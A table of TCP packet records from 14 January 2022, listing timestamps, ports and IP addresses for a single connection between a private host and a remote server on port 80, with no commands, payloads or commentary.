Jan 14, 2022 20:29:57.148875952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148915052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148916960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.149015903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.149060011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.206938982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207011938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207051039 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207089901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207119942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207132101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207164049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207173109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207214117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207243919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207252026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207292080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207293034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207331896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207370996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207375050 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207411051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207467079 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207494974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207504034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207545042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207549095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207585096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207626104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207627058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207668066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207705975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207711935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207746983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207787037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207789898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207825899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207865000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207868099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207905054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207947016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.207950115 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.207989931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208028078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208033085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208069086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208107948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208113909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208147049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208185911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208199024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208226919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208267927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208271027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208308935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208347082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208350897 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208388090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208427906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208436966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208467007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208506107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208508015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208545923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208585024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208590984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208626986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208664894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208671093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208704948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208745003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208750010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208781958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208825111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208825111 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208864927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208904982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208908081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.208945990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208985090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.208987951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.209027052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209069967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209070921 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.209120989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209161043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209163904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.209201097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209239960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209242105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.209280968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209319115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209322929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.209359884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.209403992 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.270620108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270683050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270728111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270771027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270792007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.270808935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270837069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.270853043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270890951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270917892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.270931005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270970106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.270987034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271013975 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271054983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271065950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271092892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271131992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271152020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271172047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271209002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271230936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271246910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271286964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271300077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271326065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271365881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271375895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271403074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271442890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271454096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271481991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271519899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271531105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271559000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271598101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271612883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271636963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271677971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271689892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271714926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271754026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271764994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271794081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271831989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271847010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271871090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271909952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271922112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.271950006 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.271990061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272001982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272028923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272068024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272078991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272108078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272145987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272160053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272185087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272223949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272260904 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272263050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272303104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272319078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272340059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272380114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272397041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272419930 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272456884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272470951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272495031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272533894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272548914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272573948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272614956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272622108 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272651911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272694111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272707939 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272732973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272770882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272785902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272809982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272849083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272875071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272888899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272931099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.272952080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.272979021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.273020029 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.273046017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331172943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331229925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331288099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331309080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331327915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331346989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331367016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331407070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331410885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331448078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331489086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331495047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331528902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331567049 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331577063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331605911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331645012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331655025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331682920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331723928 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331734896 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331760883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331800938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331813097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331841946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331878901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331903934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.331926107 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331964016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.331968069 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332005024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332043886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332046986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332082987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332123041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332134008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332161903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332199097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332207918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332237005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332276106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332287073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332314014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332353115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332356930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332396984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332437038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332448006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332479000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332515955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332521915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332556009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332595110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332606077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332633018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332672119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332681894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332710028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332750082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332761049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332789898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332828999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332839012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332869053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332907915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332914114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.332945108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332983971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.332997084 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333024979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333065033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333070040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333105087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333143950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333156109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333184004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333224058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333226919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333261967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333302021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333323956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333343983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333380938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333384037 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333425045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333463907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333467960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333504915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333574057 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333580017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333617926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.333656073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.333657980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.347867966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392010927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392071962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392113924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392132044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392154932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392165899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392194033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392234087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392239094 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392271996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392311096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392314911 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392349958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392389059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392395973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392430067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392471075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392476082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392508030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392548084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392551899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392587900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392625093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392628908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392664909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392704964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392705917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392745018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392786026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392786980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392823935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392863989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392863989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392904043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392949104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.392961025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.392991066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393032074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393034935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393076897 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393117905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393136024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393158913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393198967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393239021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393261909 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393275976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393285990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393316031 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393356085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393395901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393436909 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393475056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393513918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393516064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393536091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.393553972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393591881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393630028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.393668890 CET	80	49882	81.163.30.181	192.168.2.4
